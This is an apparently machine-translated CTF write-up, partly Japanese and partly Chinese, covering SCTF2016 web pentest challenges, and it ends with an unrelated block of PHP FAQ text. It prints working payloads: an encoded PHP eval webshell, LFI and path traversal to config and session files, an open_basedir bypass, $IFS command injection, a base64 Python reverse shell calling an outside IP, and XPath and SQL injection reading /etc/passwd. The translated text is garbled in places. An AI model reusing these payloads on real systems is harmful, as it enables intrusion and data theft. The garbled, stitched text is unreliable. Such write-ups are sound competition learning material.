SCTF2016 浸透への苦難の道
SCTF2016 浸透への痛ましい道
0x00 序文
この CTF は非常に刺激的で、合計 7 つの WEB 浸透に関する質問がありました。痛み。優れた監査にはなぜこれほど高いしきい値が存在するのでしょうか?
0x01 Pentest-宿題-200
http://宿題.sctf.xctf.org.cn/
ログイン ページを完全に開き、次のように入力します登録。名前、年齢、写真をアップロードします。
ログインに成功すると、画像が表示されます。宿題へのリンクもあります。
宿題のリンクをクリックすると、そのページを含む URL が表示されます。
http://homework.sctf.xctf.org.cn/homework.php?homework=homework.txt
脆弱性を含むファイルであると判断できます。今すぐ含めるトロイの木馬イメージをアップロードしてみてください。
失敗も含めて避けられないもの。
ソース コードを読んで、アップロード機能のどこが間違っているかを確認してください。
http://homework.sctf.xctf.org.cn/homework.php?homework=php://filter/convert.base64-encode/resource=index.php
思い切って読むことに成功しました。次に、読む必要のあるすべてのソースコードをダウンロードします。
監査コードに合格します
if(isset($_POST['upload'])){$filename = $_FILES['uploaded']['name'];$filetype = $_FILES['uploaded']['type'];$filesize = $_FILES['uploaded']['size'];$tmpname = $_FILES['uploaded']['tmp_name'];$uploaddir = './upload/';$target_path = $uploaddir.basename($filename);$fileext = substr(strrchr($filename,"."),1);if(($fileext == 'gif')&&($filetype == "image/gif")){ { if(move_uploaded_file($tmpname,$target_path)) { } } $im =imagecreatefromgif($target_path); srand(time()); $newfilename = strval(rand()).".gif"; $newimagepath = $uploaddir.$newfilename; imagegif($im,$newimagepath); unlink($target_path);}else if(($fileext == 'jpg')&&($filetype == "image/jpeg")){...
アップロードされた画像は、imagecreatefromgif などの関数によって処理されています。
しかし、これは重要ではありません。重要なのは、前の move_uploaded_file($tmpname,$target_path)
PHP コードに精通している人なら、単に画像が変更されただけであることを知っているはずです。正常にアップロードされました。
アップロードが成功したら、ソース ファイル unlink($target_path); を処理して削除します。
それで、この質問は時間の競争、インターネットの速度、そして性格に関するものです。
シェルスクリプトで記述した画像馬をアップロードします
fputs(fopen(base64_decode(dmlyLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWyd2aXJpbmsnXSk7Pz4tLS0t));
brup マルチスレッドアクセス
http://homework.sctf.xctf.org.cn/homework.php?homework=upload/virink.jpg
アップロードを登録します。 。性格がよければすぐに成功するでしょう。
その後、私が書いたシェルが原因不明の状態で消えていることに気づき、誰かが問題を起こしているのではないかと思い、/tmp に書き込みました。 2333333
Webshell は正常にアップロードされましたが、多くの機能がカットされていることが判明しました。
ddisable_functions= passthru,exec,phpinfo,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pcntl_exec
次に、PHP を使用して、open_basedir ディレクトリリストのブラックテクノロジーをバイパスします。
virink=printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));$file_list = array();$it = new DirectoryIterator("glob:////home/wwwroot/default/web/*");foreach($it as $f) { $file_list[] = $f->__toString();}$it = new DirectoryIterator("glob:///.*");foreach($it as $f) { $file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo "{$f}<br/>";}
次にフラグを読み取ります
virink=echo file_get_contents('/home/wwwroot/default/web/4ff692fb12aa996e27f0a108bfc386c2');
SCTF{g00d_Good_Stu6y}
0x02 Pentest-sycshell-200
http://58.213 。 63.27:61180
右クリックしてソース コードを表示します
<!-- 内部系统资料:http://sycshell.sycsec.com:61180/ -->
ホストを変更し、ドメイン名を使用してアクセスします。
次に、コードをオープンソースにし、jsfuck エンコーディングを復号し、バイパス後に含まれる
/W0Ca1N1CaiBuDa0/read.php?f=index
コード監査を取得します。
ソースコード:
<?php show_source(__FILE__); $pass = @$_GET['pass']; $a = "syclover"; strlen($pass) > 15 ? die("Don't Hack me!") : ""; if(!is_numeric($pass) || preg_match('/0(x)?|-|\+|\s|^(\.|\d).*$/i',$pass)){ die('error'); } if($pass == 1 && $a[$pass] === "s"){ $file = isset($_GET['f']) ? $_GET['f'].'.php' : 'index.php'; @include $file; }?>
ここは脳の穴です! ! ! !バージョン制限があります。
プロンプトによると、sycshell_tip はその部分を監査して php の基礎となるコードをよく調べます。さらに、58.213.63.27:61180/phpinfo.php
< をチェックすると便利です。 🎜>まず、php 5.3.29 バージョンを入手できます。バージョンの脆弱性、%0b(v) は通常の s
/?pass=%0b.1e1
while (*str == ' ' || *str == '\t' || *str == '\n' || *str == '\r' || *str == '\v' || *str == '\f') { str++; length--;}
phpinfo です。 ()+Lfi
それでは、2333$pass を使ってこの脳の穴と phithon Cow に似た質問をバイパスしましょう
https:/ /www.leavesongs.com/PENETRATION/some-sangebaimao-ctf-writeups.html?lan=tw&lan=tw&lan=tw
質問 3: PHP の種類と *0x03 関数の特徴ロジック + ファズおよびソース コード監査により、* 部分がバイパスされます。
0x03 Pentest-DrugMarket1-300
ドラッグ マーケット: http://www.spentest.com/
それは最初から単なるアイデアでした、偽物です「404 が見つかりません」ページ。私はかつてこの点で損失を被ったことがありますが、その後は黙ってソース コードを眺め、隠しリンクをクリックしました。
http://drug.spentest.com/
ソース コードを調べ続けたところ、リンクを見つけました。
http://msgboard.spentest.com/
http://msgboard.spentest.com/index.php?action=login.php
ページ機能をもう一度勉強してみましょう。顧客がログインし、ユーザー名と連絡先情報を入力すると、セッションがあることがわかります。また、ユーザー名と連絡先情報はフィルタリングされません。
最初の判断では、セッションが含まれていると判断されます。通常は /tmp/sess_xxxxxxxxxx を含めますが、存在しないことがわかります。場所を変えなければなりません。
次に、セッションのストレージ アドレスを見つける必要があります。まず、Apache 設定ファイルを読み取る必要があります。
http://msgboard.spentest.com/index.php?action=../../../../../../../../etc/httpd/conf/httpd.conf
<VirtualHost 0.0.0.0:80> ServerAdmin Syclover DocumentRoot /var/www/html <Directory "/var/www/html"> AssignUserId apache apache php_value session.save_path "/var/lib/php/session"</VirtualHost><VirtualHost 0.0.0.0:80> ServerAdmin Syclover ServerName www.spentest.com DocumentRoot /var/www/webhosts/www <Directory "/var/www/webhosts/www"> AssignUserId www www php_value session.save_path "/var/lib/php/session_www"</VirtualHost><VirtualHost 0.0.0.0:80> ServerAdmin Syclover ServerName drug.spentest.com DocumentRoot /var/www/webhosts/drug <Directory "/var/www/webhosts/drug"> AssignUserId drug drug php_value session.save_path "/var/lib/php/session_drug"</VirtualHost><VirtualHost 0.0.0.0:80> ServerAdmin Syclover ServerName msgboard.spentest.com DocumentRoot /var/www/webhosts/msgboard <Directory "/var/www/webhosts/msgboard"> AssignUserId msgboard msgboard php_value session.save_path "/var/lib/php/session_msgboard"</VirtualHost>
ユーザー名または連絡先が < に書き込まれています🎜>
さらに情報を収集することです
http://msgboard.spentest.com/index.php?action=../../../../../../../../var/lib/php/session_msgboard/sess_rb2rbfrie8rku2n81dq52vghp0
入手
virink=phpinfo()
他のサイトにはアクセス権がなく、このサイトのソースコードを黙って読みます。データベース接続情報を取得します。
disable_functions=passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
この話題がFBに投稿されていたので、先輩方からこっそり情報を集めてみました。 /tmp ディレクトリが私のお気に入りです。 。 。 23333
無駄なものをたくさん読みましたが、mysql の root パスワードなど、役立つものもいくつか入手しました。 。 23333
当時混乱していて、/tmp が不可解にクリアされた後、mysql データベース関連の情報が見つかりませんでした。
思考が中断され、注文を実行する方法がまだわかりません。
繰り返し学習のヒント
- 这是渗透题哟,所以请不要囿于你当前的Shell之中,想办法渗透到DRUG站点
- 为了让题目更加接近真实环境,所以防火墙规则较为严格
最後又回到XSS上面了。因為看過drug的數據庫,並沒有管理員用戶表。
orderX來X去沒效果,然後在小夥伴提示的情況下,X進adminconfig裏面,成功獲取cookie!
進入管理員頁面,發現存在一個下載圖片的功能。自己服務器監聽一個端口,服務器訪問自己的服務器,無果。
還是在小夥伴的提示下,監聽80端口。。才發現提示2是這個腦洞。
然後就收到了一個wget請求。
目測存在命令執行漏洞。
黑科技 : $IFS 代替 空格
上傳一個反彈的py腳本
virink=fputs(fopen('/tmp/vvv.py',w),base64_decode(aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zDQpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0Kcy5jb25uZWN0KCgiNDUuNzguMTMuMjMiLDgwKSkNCm9zLmR1cDIocy5maWxlbm8oKSwwKQ0Kb3MuZHVwMihzLmZpbGVubygpLDEpDQpvcy5kdXAyKHMuZmlsZW5vKCksMikNCnA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7DQo));
然後執行命令
http://vvv/flag.jpg;python$IFS/tmp/vvv.py
成功得到一個bash的shell。
最後在/home/drug找到flag1.txt
SCTF{b68181af58bdf261714942f0d1a823be}
0x04 Pentest-ETO-200
http://eto.sctf.xctf.org.cn/
這個是第一個放出來的題目,卻是最後才折騰出來。
簡單試一下,存在注入。
然後、各種注入都沒有成功。
官方給的提示奇葩:
ETO相关 不用再尝试爆破了哈,另外hint一直都在
從頭到尾都沒有發現hint在哪裡。
結束後才發現,注入報錯的時候,在響應頭裏面返回了一個 hint://user[id=1]
出題人這個腦洞絕逼要給101分,滿分100,多一分是深深的父愛。
在小夥伴的提示下,才知道這是一個xpath注入。
引號被過濾了,但官方的提示2說好好利用已存在的字符。
說明,密碼中的字符在username、email和role中存在的。用substring()函數逐个字符判斷就ok了
http://eto.sctf.xctf.org.cn/?action=user&id=1 and substring(//user[1]/username,1,1)=substring(//user[1]/password,1,1)
用你的神器Burp再次爆破一波吧。
最后跑出32位的密码 : Ywj@4791.d_gToWDmceu.Eali0s2yarn
登陆后就可以得到Flag了
SCTF{0f61ce4eb984a4a6d3aaa31f779533df}
0x05 Pentest-Hackme-300-未成功
http://hackme.sctf.xctf.org.cn
坨坨的不会做,还是注入。注入一向是我的弱项。Orz......
根据官方的提示
1.网站开发人员经常会去看备忘录
2.想办法拿到管理员密码
3.注意观察数据库连接方式
4.XSS
以及小伙伴的提示:PDO注入。
百度得到:PDO方式的数据库连接,可以insert注入。
折腾一番到也弄出个样子。
http://hackme.sctf.xctf.org.cn/index.php?id=0;/*!50000insert*//*!50000into*/beiwanglu(id,time,event)/*!50000values*/(9,'virink',/*!50000select*/(/*!50000hex*/(/*!50000load_file*/(0x2F6574632F706173737764))));%23
成功X到了管理员的COOKIE。。。
再根据提示 想办法拿到管理员密码可以大概知道下一步可能是劫持表单,获取管理员的密码。
然而,我就不会了。
XSS比SQL注入更渣~~Orz.....
0x06 写在最后
最终以0x01-0x04+签到10分的总分 910分结束本次CTF。
脑洞还是不够大,经验太少。而且还犯傻。很多关键的地方和非关键地方都陷入了思维误区,没有小伙伴提示的话,我估计也就能拿个10分的签到分了。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック











PHPでは、Password_hashとpassword_verify関数を使用して安全なパスワードハッシュを実装する必要があり、MD5またはSHA1を使用しないでください。 1)password_hashセキュリティを強化するために、塩値を含むハッシュを生成します。 2)password_verifyハッシュ値を比較して、パスワードを確認し、セキュリティを確保します。 3)MD5とSHA1は脆弱であり、塩の値が不足しており、最新のパスワードセキュリティには適していません。

PHPタイプは、コードの品質と読みやすさを向上させるためのプロンプトがあります。 1)スカラータイプのヒント:php7.0であるため、基本データ型は、int、floatなどの関数パラメーターで指定できます。 3)ユニオンタイプのプロンプト:PHP8.0であるため、関数パラメーターまたは戻り値で複数のタイプを指定することができます。 4)Nullable Typeプロンプト:null値を含めることができ、null値を返す可能性のある機能を処理できます。

PHPは主に手順プログラミングですが、オブジェクト指向プログラミング(OOP)もサポートしています。 Pythonは、OOP、機能、手続き上のプログラミングなど、さまざまなパラダイムをサポートしています。 PHPはWeb開発に適しており、Pythonはデータ分析や機械学習などのさまざまなアプリケーションに適しています。

PHPはWeb開発と迅速なプロトタイピングに適しており、Pythonはデータサイエンスと機械学習に適しています。 1.PHPは、単純な構文と迅速な開発に適した動的なWeb開発に使用されます。 2。Pythonには簡潔な構文があり、複数のフィールドに適しており、強力なライブラリエコシステムがあります。

PHPは1994年に発信され、Rasmuslerdorfによって開発されました。もともとはウェブサイトの訪問者を追跡するために使用され、サーバー側のスクリプト言語に徐々に進化し、Web開発で広く使用されていました。 Pythonは、1980年代後半にGuidovan Rossumによって開発され、1991年に最初にリリースされました。コードの読みやすさとシンプルさを強調し、科学的コンピューティング、データ分析、その他の分野に適しています。

PHPは、多数のWebサイトとアプリケーションをサポートし、フレームワークを通じて開発ニーズに適応するため、近代化プロセスで依然として重要です。 1.PHP7はパフォーマンスを向上させ、新機能を紹介します。 2。Laravel、Symfony、Codeigniterなどの最新のフレームワークは、開発を簡素化し、コードの品質を向上させます。 3.パフォーマンスの最適化とベストプラクティスは、アプリケーションの効率をさらに改善します。

PHPの中心的な利点には、学習の容易さ、強力なWeb開発サポート、豊富なライブラリとフレームワーク、高性能とスケーラビリティ、クロスプラットフォームの互換性、費用対効果が含まれます。 1)初心者に適した学習と使用が簡単。 2)Webサーバーとの適切な統合および複数のデータベースをサポートします。 3)Laravelなどの強力なフレームワークを持っています。 4)最適化を通じて高性能を達成できます。 5)複数のオペレーティングシステムをサポートします。 6)開発コストを削減するためのオープンソース。

phphassiblasifly-impactedwebdevevermentandsbeyondit.1)itpowersmajorplatformslikewordpratsandexcelsindatabase interactions.2)php'sadaptableability allowsitale forlargeapplicationsusingframeworkslikelavel.3)
